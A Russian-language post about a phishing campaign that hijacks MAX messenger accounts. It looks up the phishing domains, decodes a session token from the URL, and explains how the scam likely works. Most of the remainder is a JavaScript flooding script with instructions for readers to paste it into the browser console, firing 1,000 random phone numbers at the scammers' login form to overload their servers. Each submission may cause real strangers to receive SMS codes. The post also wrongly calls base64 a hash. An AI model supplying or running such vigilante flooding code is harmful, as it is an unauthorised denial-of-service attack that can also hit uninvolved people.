Наказываем мошенников (max edition)
Для желающих - инструкция внизу
Глава 1 Прострация
Очередная волна атаки мошеннков накрыла нашу тили - мили трямдию теперь через защищенный месенджер макс
Итак - исходные данные
1 от захваченного уже аккаунта потравляются сообщения с порозьбой проголосовать , или перейти по ссылке
2 человек переходит на сайт - его требуют авторизоваться через макс
3 при получении сообщения - 6 знаков в смс вводим их
4 прощаемся со всвоим акаунтом и сесией. данные для авторизации уже у мошеннков.
5 паника
итак путь атаки -
на телефон знакомых присланна ссылка -
https://densi.ee/kseniya-borisova-max
смотрим whois
IP62.60.226.188
Хост:densi.ee
Город:Франкфурт-на-Одере
Страна: Германия
IP диапазон:62.60.226.0 - 62.60.226.255
обычно там живут vps - небольшие сервера для сайтов и всякой мелочи. типа сайт нашего ПТУ
но сейчас это сайт для атаки
Глава 2 вскрытие покажет...
входить мы конечно же не будем - мы умнее, посмотрим из чего состоит сайт
а вот это уже инетресней - есть ссылка на сайт https://max-funny.xyz/ - скорее всего агрегатор и главный сайт мошенников
iP89.22.235.21
Хост:max-funny.xyz
Город:Стокгольм
Страна: Швеция
IP диапазон:89.22.232.0 - 89.22.239.255
Название провайдера:Aeza-Network
на самом деле whois смотрим чисто номенально - так как скорее всего сайт спрятан за прокси cloudflare или чем нибудь еще
Посмотрим механизм дальше -
если перейти на https://max-funny.xyz/art тут же будет дописан адрес
https://max-funny.xyz/art#t=eyJzdWIiOjEzMSwidXNlcm5hbWUiOiJN.........
ниикаких куков стореджей и сокетов - все в адресной строке )))посмотрим что там живет )))
Вообше очень напиминает base64 - это такой алгоритм хеширования
Засовываем эту кашу в dase64decode - есть такой сайт и на выходе
{"sub":131,"username":"Monroe","is_admin":0,"exp":1780495590,"la":1777903590,"jti":"kylYJhFSeBV2sPsL1fab_w","qr_session":"xoHLA3KxSviTP7az","qr_domain":"max-funny.xyz","qr_redirect_url":"https://s.fotora.ru/65599f00fc3fcbca.jpeg","qr_auth_method":"phone_code","qr_theme":"white","qr_page_variant":"v2","qr_phone_title":"\u0412\u043e\u0439\u0434\u0438\u0442\u0435 \u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u041c\u0410\u041a\u0421","qr_key_path":"art"}}8w:ׇֻk秵i_]5y[͚٧^o6Λ
- какая перлесть тут же и сессия тут же и пользовать какой то и время протухания сессии. и еще какая то подпись (скорее всего для проверки, либо соленый хеш либо просто рандомные байты)
то есть мы имеем дело не с одним сервачком - а скорее всего с какми хо сервисом который молотит аккаунты на широкую ногу
так теперь подумаем как можно нагатить в этот малинник
скорее всего (только мое предположение) что работает это так:
1 получили телефон от пользователя
2 отправили запрос на серввера макс - ему смс или оповещение (если смс это отлично)
3 получили данные авторизаци - отвязываем телефон
4 рассылаем спам ломаем гос услуги и получаем полный доступ к документам - берем кредиты, дарим недвижемость итд - вообщем будет жопа
Что бы немного замедлить этот гнилой процесс нужно навалить много тупого трафика - по сути вызвав отказ работы их серверов либо затянуть процесс авторизации у несчастных которые попались в ловушку. Сервера могут быть мощные но канал и память не бесконечны.
Глава 3 охота на пиранью
По итогу у нас есть -
1 сервера мошенников
2 тупая защита на их стороне
3 возможность немного осложнить им жизнь
Изучив код и написав несколько js скриптов выявил что можно с одной страницы отправить много запросов с номерами телефонов, если отправлять сильно часто - отправка будет заблокированна ddos защитой, поэтому важн тайминги - время между отправкой и тем пока тебя заблокирует protector
POST https://max-funny.xyz/api/phone/start 429 (Too Many Requests)
- это нас защита блокнула
перидический возникает ошибка 502 - это уже хорошо, либо скрвак реально споткнулся илбо упал процесс распеределения нагрузки между серверам - ну в любом случае радостно
Глава 4 малая ионная пушка
сам код
setTimeout(() => {// Находим кнопку входа и поле ввода телефона в DOM
const phoneInput = document.getElementById('phone-input');
const loginBtn = document.getElementById('btn-login');
if (!phoneInput || !loginBtn) {
console.error('❌ Элементы формы не найдены');
return;
}
const TOTAL_REQUESTS = 1000;
let completed = 0;
// Функция отправки одного запроса через оригинальный код
async function sendOneRequest(requestId) {
return new Promise((resolve) => {
// Генерируем случайный телефон
const randomPhone = '791' + Math.floor(Math.random() * 10000000).toString().padStart(10, '0');
// Эмулируем ввод телефона
phoneInput.value = randomPhone;
phoneInput.dispatchEvent(new Event('input', { bubbles: true }));
// Ждем активации кнопки
setTimeout(() => {
if (!loginBtn.disabled) {
loginBtn.click();
console.log(`✅ #${requestId}: Запрос отправлен (телефон: ${randomPhone})`);
resolve(true);
} else {
console.log(`❌ #${requestId}: Кнопка не активна`);
resolve(false);
}
}, 5000);
});
}
console.log('🚀 ЗАПУСК ТЕСТА');
console.log(`📊 Запросов: ${TOTAL_REQUESTS}`);
console.log('='.repeat(50));
// Запускаем последовательные запросы
async function runTest() {
for (let i = 1; i <= TOTAL_REQUESTS; i++) {
await sendOneRequest(i);
completed++;
console.log(`📊 Прогресс: ${completed}/${TOTAL_REQUESTS}`);
// Ждем между запросами
if (i < TOTAL_REQUESTS) {
await new Promise(r => setTimeout(r, 7000));
// Очищаем поле ввода
phoneInput.value = '';
phoneInput.dispatchEvent(new Event('input', { bubbles: true }));
}
}
console.log('\n✅ ТЕСТ ЗАВЕРШЕН');
}
runTest();
}, 1000);
инструкция -
1 заходим на сайт https://max-funny.xyz/art (должен подставиться токен - ссылка будет длинная)
2 жмем на клавиатуре F12 (открывается консоль)
3 находим вкладку клнсоль или console
4 вставляем туда код (который выше)
5 жмем enter - и можно заниматься своими делами и любоваться выводом в консоль
6 изредка обновляем странцу для полчения новго токена и поехали снова
Скрипт генерирует случайный нмер телефона и отправялем его параметр const TOTAL_REQUESTS = 1000; говорит о отм что буде отправленно 1000 рандомных телефонов await new Promise(r => setTimeout(r, 7000)); задержка между отправками const randomPhone = '791' + Math.floor(Math.random() * 10000000).toString().padStart(10, '0'); тут рандомный телефон генерируется
Вообщем то все, что хотел рассказать. В прошлый раз Наказываем мошенников
было весело, когда их сервера нагули всем сообществом
За сим все! до новых встреч !!!!))))
PS если тут будут всякие типы - чет про граматику говорить, или запятых насыпать .... вот идите к козе в трещщину! я вам тут не граматей





